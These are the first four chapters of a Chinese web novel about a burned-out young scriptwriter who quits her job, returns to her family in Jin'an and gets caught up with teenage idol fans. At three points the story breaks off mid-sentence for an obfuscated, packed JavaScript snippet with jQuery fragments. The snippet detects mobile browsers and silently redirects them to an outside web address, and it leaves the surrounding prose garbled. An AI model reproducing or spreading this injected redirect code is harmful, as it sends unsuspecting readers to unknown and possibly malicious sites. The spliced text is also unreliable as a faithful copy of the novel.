《时针回响》 1. 第 1 章 三月毫无预兆倒春寒,天公不作美飘起细雨,早已换上薄外套的钟知晓迈入办公室,擦了擦被雨点打湿的裤脚,猛地灌下一大杯温热水,千万不要感冒啊。 当代社畜没有资格生病,没有时间休息,更何况她刚入职这家公司半个月,处于试用期,正努力好好表现等着转正。 还没等她喘口气,老板来势汹汹走到跟前把她叫到会议室。钟知晓惴惴不安,刚来一个星期就见识过老板的厉害,她低着头跟在老板身后关上会议室的门。 老板低着头刷手机也没出声,钟知晓盯着老板的发缝看了几秒,觉得不太礼貌,转过头打量会议室,屋内刷的大白墙,跟此刻安静的氛围交相呼应。好白,墙白得刺眼,好静,静得能听到外边的键盘声。 默声数着时间,仅仅一两分钟却让人觉得无比漫长,钟知晓忍不住出了声:“王总,您找我有什么事吗?” “写的都是些什么东西,没流量没点击没人看,数据有多差你自己看看!”王总表情不悦,一整个不满意的模样,指指点点,“亏你还是戏剧学院毕业,这点都不会写?开头抓不住人眼球,写得出什么东西来?” 钟知晓,她本人,毕业于戏剧专业院校。起源于小时候青春期偶像剧看多了,想要写故事写电视剧,一心一意读了梦寐以求的戏文系,去学了后才发觉现实跟想象有很大的区别。 毕业四五年,在编剧工作室工作,写过大纲、写过方案,也写过原创本,无一例外地没什么回音。 人总得吃饭,纯靠爱发电活下去很难,更别提在沪明高物价高消费的地方。钟知晓心一横曲线救国换了圈子,换了行业当上文案编导,拿着微弱的薪资在大城市里勤勤恳恳地当起了螺丝钉。 谁知道螺丝钉也并不好当,钟知晓低着头听着骂,不敢吭声。 来公司的这些天,她努力去学了、也去写了,这个时代网络发展太快,要不断追热点,结果不如人意。 兴许是声音太大又或是隔音太差,引得在外的同事频频偷瞄,王总往后一瘫,有节奏地拍着桌子:“我看你上班有段时间了,对工作有什么感悟心得吗?” 敲击桌子声音一声一声刺激着人的耳膜,钟知晓没什么底气:“我在努力向其他同事学习,包括熟悉公司业务以及如何做流量。” “学到什么了?”王总语气平淡,压迫性却十分强。 “公司业务方面我已经完全熟悉。”钟知晓硬着头皮回答,“之前写的文案都有给运营审核,偶尔会有改动,我照着他的建议优化了词和句。” “那结果呢?”王总指着手机,账号里是她写的文案策划。 结果...钟知晓低着头一言不发。 “不会写那就去抄,去拆解。” “抄?”钟知晓抬起头来,眼中些许惊讶。听同事交代过如何写、如何拆解学习爆款,但没想到竟是如此具体地抄。 “反正网上所有东西不就是你抄我,我抄你吗?有什么难度?”王总不屑一顾,“我说真的,等ai发展成熟第一批淘汰的就是你们这样的人,几千块的大学生我一招一大批。” 课本里曾学过我国的优势是廉价劳动力,以前只当知识点背了,没想到自己原来就是那个书中人。 从会议室走出来,背后王总还在神神叨叨,钟知晓失神般坐下,也没忘记要把电脑屏幕点亮。直愣愣地盯着电脑屏幕,不想干了...可是昨天刚给房东转了三个月房租。 没人天生喜欢挨骂,很多时候为了现实不得不低头,钟知晓垂着眼拼命地说服自己,忍忍。 隔壁同事投来同情的眼光:“你别难受,王总就是这样,不只是针对你,他是对所有人无差别攻击。” 在成年人的世界里,脆弱是软肋,眼泪是无用的。钟知晓并不想把自己的崩溃痛苦暴露在别人眼中,她勉强扯出一个微笑:“我没事,只是在想怎么写。” “我教你。”同事小声地说,“你去筛最近一周或一个月高点赞高互动的,改几个字,画面原封不动的照搬,精准到几分几秒。” 钟知晓诧异地皱皱眉:“这能行吗?” “大家都这样,我发的高点击帖子就是这样做到的。” “但如果大家抄来抄去,内容不全都一样吗?”钟知晓不明白。 “平台不管,它只在乎你跟它绑定的程度,是不是能持续产出,能不能给平台带去价值。” 什么时候起,文字不再是文字,而是演变成了算法。从什么时候起,她热爱的文字变了意味。 窗外的雨还在下,玻璃上的雨滴顺着之前的痕迹一滴滴流下来,最后消失不见。 工作群里的消息弹个不停,不用看也知道,王总有了新的想法发在群里,其他同事响应回复收到。没有更多难受的时间,钟知晓轻轻叹了口气,打开微信回了个收到。 说好的00后整顿职场,怎么到她这里变成了职场整顿自己。 在同事的建议下,钟知晓找了好几个对标博主,连续几天加班加点的拆解研究,基本上把脚本一比一复刻完成。发出去之后钟知晓看着后台不断跳出的点赞,百感交集。 同事说得没错,原来爆款是这样来的。 可这算什么文字工作者,分明就是搬运工,她无比鄙视却又无可奈何。因为她自己写的内容就是没点击,自己就是写不出来抓人眼球的文案、令人追下去的故事。 “钟知晓你看看,你不是不会,以后就这样抄,能有什么技术含量。” 王总的话萦绕在耳边,突然没由来的,钟知晓想起毕业后的第一个项目,当时合作方说了不少,她只记得一句:“你不适合当编剧,写的东西没有戏剧性没有冲突,太平淡了。” 太平淡...能把她整个人定性。 仔细想想似乎也是如此,从小到大,上学考试毕业工作、家人一团和气平平淡淡,就连唯一的恋爱经历也平淡如水,刚开始便结束。 青春年少时自命不凡,总以为世界围绕自己的意志而转,长大后被现实狠狠教做人。学校里总有同学能写出一环扣一环精彩无比的故事,而她得到的评价是平淡无聊。 自己哪是什么独一无二,不过是芸芸众生中的一滴,转眼汇进大海不见踪影,我是人人。 连续下了好几天的雨,此刻终于放晴,阳光透过窗户照射到工位上,可办公室窗户是装饰性窗户,推不开,透不了气。钟知晓伸出手想要感受太阳的温度,光打在手上,隔着玻璃温度削弱了好几分。 太阳才不管格子间的人,如何日出晚归,如何在日光灯下工作,如何在下班后挤地铁公交露出疲惫麻木的表情。太阳才不管,或者说它顾不过来,它只管发光发热。 下过雨后的天格外蓝,世界变清晰了好几分,光打在叶片上透着亮。阳光实在是太好了,蓝天白云天朗气清,钟知晓情不自禁望向光来的方向,刺得她睁不开眼。窗外的一切仿佛在向她招手,办公室里安静得又只剩下敲键盘声。 一窗之隔,一步之遥,两个世界,完全不同的世界,她的人和心也是如此。 这样好的天气,而自己被困在格子间,困在一个又一个的数字上。钟知晓突然不明白这一切的意义,自己为什么会在这里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546079|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道自己辛苦学习多年,考上梦寐以求的专业,只是为了在格子间里洗稿,为了老板追求的流量数据... 坐在电脑前打出不知道在哪里拼凑出来的文字,她从没想过自己会这样,钟知晓盯着电脑屏幕上的文档,内心一片惆怅。从她有记忆开始文字在心里的份量很重,遣词造句慎之又慎,而现在... 文档里自己亲手打出的完全不属于自己的文字,无比陌生。 抬头环视一周,同事们要么低着头在手机上操作,要么盯着电脑不停敲,追逐每一个数字,每个人脸上的疲惫清晰可见。钟知晓有些喘不上气,心口闷发着慌,说不出的烦躁。 不管了。 不管经济是否下行,不管就业环境有多恶劣,不管还能不能找到工作,钟知晓只知道自己再待下去会出事。 不管明天了,不管了。 生怕下一刻的自己后悔,钟知晓迫不及待地点开手机找到辞职申请,点了提交。一系列操作完成后,她释然地靠在椅子上卸了力,久违地放松。 王总收到消息自然是变了脸色,却也没为难,钟知晓半个小时办好了离职。当然她清楚地知道王总如此爽快并不是因为人好,提了离职的员工不会再有心思工作,倒不如当天走人,少发一天工资。 才去没多久,钟知晓跟其他同事并不太熟,只跟邻桌同事道了别,拿上自己的东西下了楼。其实也没有多少东西,一个靠枕一个水杯和笔记本,没了。 眼见时间还早,这么早回那个小小的合租房干什么呢?躺着?无聊没劲。 钟知晓漫无目的地在路上瞎走,接下来日子要做什么呢?想想都头疼,天气这么好,为了这样好的天气裸辞了,是该好好晒一晒太阳。 靠枕有些大,钟知晓犹豫要不要扔掉,可是扔掉的话去下一个公司又得重新买,还不知道什么时候能找到工作领薪水,还是抱着吧。偶尔有人投来注视的目光随即转开,大家都很忙没空注意陌生人的喜怒哀乐。 不知道走了多久,商场外围了很多人,钟知晓百无聊赖凑上前打听:“这有什么活动吗?” “顾应!今天他要来品牌站台。” 钟知晓随即明白,顾应,如今势头正好的偶像明星,周围全是他的粉丝迷妹。 被问到的女孩叹了一口气,“我来得太晚,现在这个位置太后面了。” 说起来...钟知晓跟顾应也是同一级校友呢,不过他是表演系,上大学时公共课还想着见一见明星,想看看他真人到底长多帅,谁知道小小的学校也挺大的,大得很难碰见。 钟知晓远远见过一次,只是戴着帽子脸看不真切,不过身材没得说。 环顾四周挤满了人,大有一种水泄不通的架势,钟知晓不禁羡慕起来,当明星可真好,被这么多人无条件的爱着。 再看看自己...每一天的现实似乎在说,自己悲催失败的人生,有一点点想死。 不想多做停留,人太多太热闹,反而悲从中来。钟知晓拿出手机想看时间,却瞧见倒映在手机屏幕里的自己,麻木不堪的表情,是被生活重锤的一脸。再看看旁边站着的几个小姑娘脸上洋溢的青春笑容、兴奋激动,鲜明对比。 怪不得说少年之气是不可再生之物,这样的自己好陌生,怎么毕业后短短几年就变得毫无生气。 耳边传来一阵又一阵的尖叫声,一声赛过一声,自己也曾这样高呼呐喊过的呀。 明明也就二十出头的年纪,钟知晓被感染到,不禁加入其中,站在人群最外围高呼尖叫顾应的名字,一声又一声将积攒的情绪通过呼喊声发泄出去。 2. 第 2 章 怪不得顾应在娱乐圈里势头正强呢,说话得体有礼貌,不苟言笑的脸偶尔没绷住的小表情反差感十足,引得现场粉丝尖叫连连,更何况长相模样身材无可挑剔。 从小学起钟知晓就属于追星一族,随着年岁增长倒不像小时候那般,她跟随场下的粉丝一起高呼顾应的名字、跟着尖叫、跟着捂脸笑,愁绪被冲淡不少。 兴许是喊得太起劲,引得旁边妹妹连连搭话:“你喜欢顾应多久了啊?” “我吗?”钟知晓有些愣住不知道该如何说,跟喜欢倒也没关系。现在算是在特定独有的氛围里,通过大喊发泄掉内心积攒已久的压抑苦闷的情绪... 不过没必要解释,她含糊不清地回答,“很早了,他刚上大学不久吧。” “那你是老粉了!”妹妹很是激动,“我才粉上不久,刷到他视频觉得好可爱。” 钟知晓捧场地笑笑,要露馅了,此地不宜久留,速走... 没任何犹豫快速逃离现场,果然年轻人聚集的地方就是生机十足,一身疲惫洗净。在楼下随便吃了个快餐回了家,钟知晓躺在床上,接下来该干什么呢? 很不想去思考,但她知道逃避解决不了任何问题,今天不想,明天也得想。明天不想,后天也得想。重新下了几个招聘软件,打开简历,就一个月的工作没必要更新。 随意刷了几家,投了,闭上眼睡了。 第二天自然是没什么回音的,几家远远不够,钟知晓怒刷了一小时筛选公司筛选工作,刷到眼睛昏花,头发晕,便把软件关掉,安慰自己今天的量足够了,有什么明天再说。 久违地过上自然醒的生活,不用被闹钟猛地惊醒着急忙慌起床,不用去挤那能把人挤成一坨的地铁。钟知晓伸手去摸床边的手机,睁开眼投身网络世界,麻痹自己。 现在的大数据真的很厉害,钟知晓在首页刷到了昨天顾应现场活动的图片。怎么说呢,顾应确实很帅,不过图片修得太白,真实纹理全都被抹平了,失去了真实感。 线下真实的他,即便是远远望去,在人群中依旧是无比优越突出。 一条停留的时间有些长,大数据记住了,一连给钟知晓推了好几条昨天顾应的活动。看什么都是看,看帅哥养眼有何不可,钟知晓点了赞。 越看推推,再点开下一个视频的时候,一阵尖叫声响彻云霄,差点刺破耳膜,她连忙将音量降到最低。这条视频刚发不到一天,点赞量好几千,但视频看起来没什么不一样,甚至于有的画面抖动模糊。 流量真是玄学吧,自己想破天也写不出抓人眼球的视频故事。点赞评论都很多,钟知晓往下滑,评论第一条:看得出来姐妹真的很激动了,顾应真的那么帅吗! 穿插着无数的哈哈哈,还有夸顾应的彩虹屁。 钟知晓再倒回去看视频,增大两格音量,听清楚背景音一阵尖叫,一阵撕心裂肺的呼喊,她也没忍住地笑倒在床上。 年少心气可真好,为了喜欢的人欢呼呐喊,真挚又赤诚。 等等,这个博主发的内容怎么不对劲。 那帖子写道:背景音是另外一个姐妹,哥哥出来的时候,她也没拿出手机拍,只是在用眼睛记录,将哥哥记在心里。简单交流后,原来她粉了好多年,我想这是真的很爱吧,有这样的同担是我的福气。 是自己理解的那个意思吗? 钟知晓再次认真一字一句地看内容,看视频画面,生怕自己理解错了。 这位置、这视角不就是昨天旁边的妹妹吗... 天啊,难道视频里出现的声音是自己的?只想喊救命,钟知晓颤颤巍巍地点开视频,原来自己的欢呼声这么好笑吗... 不敢再听第二次... 丢脸尴尬无比,她慌忙退出软件,关上手机,决心以后再也不要去凑这个热闹。 休息室里,顾应闭着眼养神,工作人员知道他的脾气,没人敢说话惊扰。刚来不久的助理王承拿着外卖乐呵乐呵推开门:“应哥,饭到了。” 将外卖一一摆放好,大杯冰美式放在顾应桌前,顾应睁开眼,语气有些不耐烦地嗯了一声,吃饭不只是吃饭,还要拍工作间隙的日常记录,方便后续营业。 拍完王承还在保持着笑容满面,顾应猛喝了一大口冰美式问道:“捡钱了?” “没,我刚刷到哥你粉丝拍的视频,太好笑了。” 顾应习以为常没多大反应,也没追着要看。王承刚来不久主动递上手机点开刷到的视频,视频里传来一阵尖叫,顾应哥哥的声音断断续续、撕心裂肺。 “不好笑吗哥?” 顾应皱眉不懂这有什么好笑的。 “评论都笑疯了,说这姐妹对你是真爱。”王承点开另外的链接递过去,“还有第三视角,全程星星眼,只看也不拍。” 短短几秒,其实很模糊看不真切,顾应仔细看了看帖子内容,没什么波澜。 被太多人喜欢追捧,更疯狂的也不是没有,这样的爱早已见惯不怪。只要不发展成私生,顾应就谢天谢地了。 一连过去快一个月,钟知晓还没上班,投的简历要么石沉大海,要么嫌弃她的经验不够,或者完全不管劳动法,收到几个offer,没一个合心意。 走出门的心气越来越弱,从一开始的不管不顾到现在的焦虑不安,厌倦了面试前的每一次沟通和面试时的每一次刨根问底。 索性躺在家里连床也不起,早上被合租室友的关门声吵醒后就再也睡不着了。她昨晚熬夜到很晚才睡,其实没什么要忙的,也没什么要看的,只是拿着手机刷着各个软件。因为一整天无所事事,好像不能就这样睡去。 躺到下午,早饭午饭都不想起床吃,就那样躺着。手机响了起来,钟知晓看着屏幕突然有些不敢接,迟疑片刻后再接了起来:“姥姥怎么了?” “你帮我看看,我刚买东西的东西怎么没扣我的钱。” “您别在网上买那些乱七八糟的,买回来压根用不上。”钟知晓深知姥姥的脾性,老年人爱上了网购一发不可收拾,看着便宜不停买买买,不说百分百,百分之八十货不对板。 “有用。”姥姥的话斩钉截铁传了过来。 钟知晓只好说:“你截图发我看看。” “什么截图?” “过年我不是教过您吗?”钟知晓无奈道,“我妈呢?让她给你看看。” “在店上帮忙,王姐这几天家里有事请了假。”老爸钟远峰退休后开了个小馆子,小区楼下不远和便利店挨在一块,平常便利店是姥姥和一个兼职在店上,小馆子老爸亲自主厨。 钟知晓哦了一声,孙萍女士是小学老师,快要退休了,最后一期学校安排的工作清闲了不少,没事就在店里帮忙。 “就想你帮我看一眼,鞋子真的很便宜。” 姥姥还在碎碎念,看起来真的很想要买,钟知晓撇撇嘴:“您之前买的我就没看你穿过两次。” “那是你不在家。” “...”钟知晓不欲再说。 “好吧,你是不是在忙?” 钟知晓轻轻嗯了一声借口道:“我在加班。” “那你快工作吧,我等会找你妈妈看,再忙也要记得吃饭,过年回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546080|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦了好多,不要顾着减肥不吃饭!” “知道了我没减肥,姥姥我空了再给您打电话。”钟知晓挂断电话,低落时刻人总是莫名地有各种情绪,不想搭理人。 躺在床上有些想哭,原本没多大感觉,可是家人一靠近,温暖让悲伤凸显得更加明显,像一团乌云在头顶上方,雾气遮住了眼前,迷失方向。 平复好一阵的心情,钟知晓振作起来打开招聘软件又投了一堆。 时间开始循环,钟知晓积极推销自己,孜孜不倦地跑面试。这天她刚面完三场疲惫不堪,从天亮走到天黑,没一个工作想干。 可环境不断推着人朝前走,不能后退吗? 好像不能,人只能向前走。 从身旁经过的人好像都没有烦恼,结伴而行有说有笑,钟知晓只有自己一个人,夜晚总是能放大脆弱。 走了一天又累又渴还困,推开便利店的门拿了一瓶水和面包,扫码结账,提示银行卡余额不足。 “稍等。”钟知晓尴尬地切换到另一张银行卡。 奇怪,怎么会没钱了。她点开银行卡,也对,这张卡是前前公司的工资卡,没有也正常。 工作几年没攒什么钱,每个月三分之一给了房租,其余的全都给了衣食行,她看了看银行卡余额,看不清前方的路在哪里。 找了个位置坐下,钟知晓吃了两口面包,打开自己所有的银行卡APP算了算自己还剩多少钱,再次下定决心要快点工作,再苦再难也得干。 突然钟知晓想起支付宝里应该还有些钱,之前做有一笔合作剧本的收入。点开支付宝后,看着余额整个人微微发怔,账单里显示一笔又一笔的收入。 5块,3块,7块,20块...这是家里便利店收入所得。 钟知晓记得,有段时间网上流行支付宝到账提醒的梗,她也想体验一下当老板的感觉,爸妈便把便利店的支付宝收款码换成了她的,这一换就是好几年再也没换下去过。 在刚毕业那些年,在工作室里写大纲写方案,一年下来收入几千块,连房租都不够交,是靠着家里便利店一笔又一笔的到账。 后来自己兼职写了一些文章剧本勉强够生活,过年时钟知晓悄悄将收款码换成了妈妈的支付宝,不知道什么时候爸妈又换成了她的,连提都没提一句。 这些年店里的账她有帮忙算过,清楚地知道便利店的利润不高,到自己账户的钱早已超出便利店能赚的钱。 这些都是爸妈不曾说出口的爱,怕她在外地自己一个人过不好,怕她吃苦受罪。 鼻头发酸,钟知晓抽了抽鼻子,手里的面包塞进嘴里努力咀嚼,只是吞咽很吃力,喉咙发着紧发着痛,眼眶的泪顺着眼角向下流。 一口也吃不下,没法咽下去。 钟知晓拨通电话,孙萍好一会儿才接了起来:“晓晓下班啦?” 原本将情绪强压制下去的她,此刻更加难受,她深呼一口气:“嗯下班了,我刚到家。” “晚上吃什么?不要随便点个外卖敷衍了事,钱够不够用,我给你转三千?” “不用。”钟知晓连忙阻止,“我看到支付宝里的钱了,完全够用。” “那就好,我刷到好些只做外卖的店,脏得很。你要点贵一点的,一定要有实体店的,干净一点知道不?” 钟知晓轻轻嗯了一声,孙萍还在念叨关心,突然她开口:“妈你说我回家怎么样?” “晓晓,你...工作遇到什么事了吗?” “没有没有。”钟知晓回过神来,“瞎说罢了,我只是想你和我爸还有姥姥了。” 3. 第 3 章 好说歹说才把孙萍女士哄过去,钟知晓回到家仿佛失去全部力气,合租的卧室里没有沙发,只有孤零零的一张床。 她瘫在瑜伽垫上,静静躺着就连手机也没兴致玩,直到夜深才起床洗澡。 洗完清醒了许多,夜已深人未眠,平常钟知晓习惯看一部电影睡觉,现在也看不进去,她清楚地知道自己这样的状态不对。 只是知道是一回事,做是另外一回事。 各个APP切换个遍,静不下心,沉迷在短视频给的多巴胺里,就差把夜熬穿。 原本计划睡到下午,可随着天亮,光线透过窗帘,没睡两个小时便醒了。 睡觉计划失败,没了睡意,起床也没事做,就在床上赖着不肯起,摸到一旁的手机,有几条微信消息,点开是老妈发来的消息。 【晓晓,妈妈也很想你。工作走得开的话,要不回家玩几天?】 【要不你回家待两天,姥姥天天念叨你。】 【晓晓,这些年我和你爸攒了不少钱,我们一家四口到下辈子完全没问题。】 看时间是半夜断断续续发的。 老妈一定是把自己的那句话听进去了,晚上睡不着,又怕伤到她可怜的自尊心,只能试探地问要不要回家,试探地告诉她可以当一条咸鱼。 眼眶早已雾气弥漫,水汽在眼眶里越滚越大,流出来时钟知晓清晰感受到眼泪的温度,烫得她开颤。 失败,真的有人能坦然接受自己的失败吗? 从自命不凡到接受自己只是一个普通得不能再普通的人,这一路要经历多少失败心酸才算完? 钟知晓不清楚,只知道这对自己很难,即便是经历了无数次的冷嘲热讽,或是善意劝解,她始终还是不能坦然接受。 但不接受又能怎么办?又不能真的去死。 拉开窗帘外面人来人往,偌大的城市自己是那么样的渺小。可阳光热烈,叶片透着绿,微风拂过无比舒服。 这样好的天气。 是啊,失败又怎么样,自己还有家人不是吗? 钟知晓立即做了决定,买了回锦安的机票,紧接着收拾家里东西,跟房东沟通退租事宜。房东只愿意退押金,还剩一个多月的房租。 不想再计较了,钱哪有自由重要。 从现在开始,她自由了。 收拾完后,钟知晓觉得自己应该欢呼庆祝,心里却空落落的。 靠枕孤零零地靠在椅子上,上次从前公司离开纠结要不要扔,到今天还是扔了。 在沪明读书加工作八年时间,没想到临走了也没剩什么东西,能扔的都扔了,一个行李箱搞定所有。 上车前钟知晓转身再看了一眼身后的高楼长街,繁华依旧,只是再见了。 飞行两三个小时,钟知晓没跟家里人说,这些年锦安发展挺快,地铁也通到了家门口。下飞机后自顾自拖着行李箱坐地铁辗转换乘,不知疲倦到了店上。 一路颠沛奔波,下午四点还没到饭点,老爸早已在备菜准备,老妈坐在收银台算账,不用想姥姥肯定在隔壁刷视频购物。久违的心安,钟知晓走进店里,原本镇定的她突然哽咽地说:“爸妈,我饿了。” 爸妈默契地没有问工作上的任何事,也过没问她今后的打算,钟远峰只说:“给你□□吃的泡椒兔,冷吃兔和牛肉冰箱里有现成的。” “好,我要特辣。” 江湖辣菜是老爸的拿手之作,去了外地后哪里吃得到这么地道的家乡菜,口味早已清淡不少。菜上桌,辣得钟知晓鼻涕直流、眼泪横飞,也不知道是真的被辣哭还是难受哭。 孙萍在一旁默默擦了擦眼角,她把豆奶递了上去:“太辣就不吃了。” “好吃,我爱吃。”钟知晓用纸擦完泪又擦鼻涕,此地无银三百两地解释道:“老钟你的手艺见长啊,我都被辣哭了。” 钟远峰坐在另一旁:“你太久没吃了。” 姥姥心疼地端来小菜:“多吃一点,你看你脸都瘦成什么样了,过年好不容易看着脸圆一点。” 一家人围着钟知晓坐着聊天,讲隔壁邻居讲远方亲戚讲各种发生的大事小事新鲜事。 刚平复的心情忽地又往上涌,眼泪怎么也忍不住,她有很多很多的委屈,有很多很多的不甘,在最亲近的家人面前,决了堤。 钟远峰说:“以后天天做给你吃,吃习惯就不会被辣哭了。” 回家后钟知晓过上了美妙的日子,不说衣来伸手饭来张口,最起码自在了许多。 不过人闲下来之后要做些什么呢,钟知晓不知道自己该做什么,她想要不干老本行接点有关文字的活。 在家坐了好一会儿,文档一个字也没打出来,钟知晓叹了口气。得,实在没什么心情写,去店里转转。 晓馆子,是老钟退休后才开的,两三年时间在邻里间有了口碑。中午正是忙的时候,钟知晓在店上忙前忙后,快两点才有片刻喘息。 别说还真挺累,想想老爸日复一日,老妈下课后还要来店里,不免一阵心疼。 吃完饭没多久,晚上人又多了起来,忙完一波又一波。只是调味缺了货,明天指定不够,常合作的供货商这两天有事忘送了,钟远峰说下班去朋友店里调货。 “在附近找一家买不行吗?”钟知晓搞不明白,老爸的朋友在另一个区,开车不累吗... 钟远峰不跟争辩:“就去他那拿。” “等你下班再去一来一回,到家得多晚了,你也不嫌累!”钟知晓妥协道:“我去赵叔那里拿。” 钟知晓拿上车钥匙出了门,开了一段绕城,庆幸不堵车很快便到了。停好车,这一片没怎么变化,以前还在这里上过学,算起来挺长时间没来过了。 跟赵叔打完招呼寒暄几句,拿上东西放在后备箱,听到有人叫她名字,钟知晓诧异地四处看看。 “真的是你!老同学,我就说看着眼熟。” “是你啊。”钟知晓有些惊讶,高中同学杨潇。 以前在班上她俩一个晓晓,一个潇潇,看起来关系不错,不过毕业后没什么联系。 杨潇问:“你不是在沪明吗,怎么回锦安了?” 钟知晓已经不需要现编理由,张口就来:“我休假。” “怪不得呢,我还担心你回锦安发展了。不过现在编剧不好做吧,我有朋友也是学的这个,早转行了。” “还行。”钟知晓不想聊自己,转移话题,“那你呢,你做什么呢?” “我在事业单位呢,我爸非要我去,拗不过。不过也好,稳定嘛,我也不靠工资过。”杨潇笑笑,“还是你好,我以为你早放弃了,没想到还在追梦。” 钟知晓不接茬关上后备箱门,装作不好意思的样子,“不过...我得回家了。” “再聊聊嘛,好不容易见一面。话说你写过什么剧啊还是电影?播出了吗?说不定我看过呢?” “我只写其中一部分。”钟知晓选择性回答。 “所以就是没有挂名是吗?怪不得我说搜不到你的名字?”杨潇啧了一声,“不然还是回锦安吧,外面没那么好闯。” 钟知晓反问:“你还搜我名字?” “关心下老同学嘛。”杨潇神色不太自然,“说不定我看过呢,是偶像剧吗?有没有跟叫得出名的明星合作过,陈霏、顾应、王智绚...” 杨潇念了几个当红明星,钟知晓打量着杨潇,许久不见的同学,在打听她过得好与不好。 有句话你眼中的别人,其实是你自己,钟知晓不愿恶意揣测别人:“播出的时候跟你说,我真得走了。” 坐回车里,钟知晓愣了好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546081|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,开动前在群里发了个消息:拿到了,赵叔还给姥姥带了东西。 回程的路上,兴许是锦安举办什么活动,经过场馆还堵了一会。 走走停停,闷得慌,钟知晓将车窗打开,清风吹进车里,吹在脸上,清醒了许多,也放松了许多。 排队经过拥挤路段时,手机响了起来,钟知晓按了接通:“我还有一会才到。” “晓晓姐!你是不是在湖心路?” 是表妹钟雨洁,刚上高中。还以为是家里的打来的电话,钟知晓疑惑道:“你怎么知道?” “你往右手边看。” 钟知晓转过头去,钟雨洁正十分兴奋地朝她挥手,第一回见钟雨洁如此热情,她受宠若惊:“你怎么在这里?” “说来话长,你能送我们一程吗?我们打不到车。”钟雨洁可怜兮兮地问,身旁还站着三个小姑娘,同她差不多年纪。 钟知晓自然答应:“上车。” 这个时间点在郊区,估计是同好出来玩忘记时间了,钟知晓没多问,她自己也是从那个年龄过来的。几个小姑娘叽叽喳喳地上了车,乖乖地跟着叫姐姐。 “你们住哪里,我先送你们。” “不用了姐姐,到市区就好打车了。”几个小姑娘都挺懂事,不愿麻烦人。 十几岁的女孩,大晚上在外晃荡,钟知晓哪放得下心:“没事,不麻烦的。” 钟雨洁朝同伴眨眨眼睛,乖乖地说:“谢谢晓晓姐。不过你什么时候回来的?你不是在外地上班吗?” 钟知晓习惯回答:“年假,就回来了。” 钟雨洁自然没有怀疑:“我们听歌吧!” 钟知晓点头:“你要听什么,自己选。” 几个女孩闹作一团,钟知晓专心开着车,不打扰她们,更何况拉着一车人可不得专心点。 音乐流淌,十分强的节奏,吵得耳朵发疼,钟知晓暗暗咋舌不知道唱歌这人后期修了多少。红灯间隙,她瞄了一眼,歌手竟然是顾应... 唱得这么...一般吗? 果然是靠脸出道。 再看看其他人,跟着旋律舞动,哼唱起来,还不吝赞美之词大夸特夸:“哥哥...唱得可真好。” 偶像滤镜太重,要不得! 没一会正认真开着车,钟雨洁突然开口:“晓晓姐,跟上前面那个车,我同学包落在上面了。” “前面?包落在上面?”钟知晓不禁好奇,是怎么把包落在前面的车上,而且有车为什么又在郊区路上不打车。 “姐姐,我们包真的掉在前面那个车上了,钱倒是没多少,只是我们作业都在里面。” 钟知晓不解,但瞧着其他几人恳切的眼神,答应道:“我直接在后面打灯,示意他们停在路边,问一下。” “不行!”钟雨洁慌张地喊了出来,发觉自己太激动了,缓了缓解释道:“我是说,这样很危险我们就跟在他们后面,等他们到了,我们再下车问。” 钟知晓不是小孩,自然是不信这套说辞,虽不知道她们葫芦里卖什么药,也没多想,便跟了上去。 只是越开越觉得不对劲,前面的车越开越快,一会儿猛提速一会儿转向绕圈子,钟知晓这才意识到前方的车辆像是想要把身后的车甩开。 什么情况?不解到了极点,钟知晓开车却跟得很紧。开玩笑,驾校学习时教练夸她有天赋,一点就通。 行驶了一段距离,只见前面的车突然开到路边停了下来,打着双闪在示意她停车? 不妙,钟知晓的第一直觉。 搞不清楚什么情况,直觉告诉自己呆在车里比较好。钟知晓叮嘱道:“千万别开门。” 回头却瞧见钟雨洁和后座的小姑娘们神色慌张,却又带着隐隐约约的期待? 什么情况?! 4. 第 4 章 黑暗中从车上下来两个男子,逆着光只能看出大概身形轮廓,一个高高瘦瘦目测一米八五,另一人矮半个头。 寂静的夜晚车道上几乎没有别的车经过,钟知晓心里咚咚咚莫名发慌,隐隐约约不安。 高个子那人戴着口罩,灯光昏暗模样钟知晓实在看不真切,只见他俩一步一步走到车前。 不清楚此人来意,她目光警惕地跟随那人,不敢轻举妄动。 高个子狠狠地瞪了钟知晓一眼,咚咚咚敲向后排车窗,一声又一声铿锵有力。 深夜、大马路,两个陌生男性,好好的带什么口罩? 前方车里很有可能还有别的人,而她们这一车全是女性,除了自己,其余四个未成年女孩。钟雨洁一脸慌张,另外三个女孩你看我我看你,默不做声。 谋财还是害命? 思考片刻钟知晓觉得打赢的可能性比较低,安全起见待在车里比较保险,她再次阻拦道:“别开。” 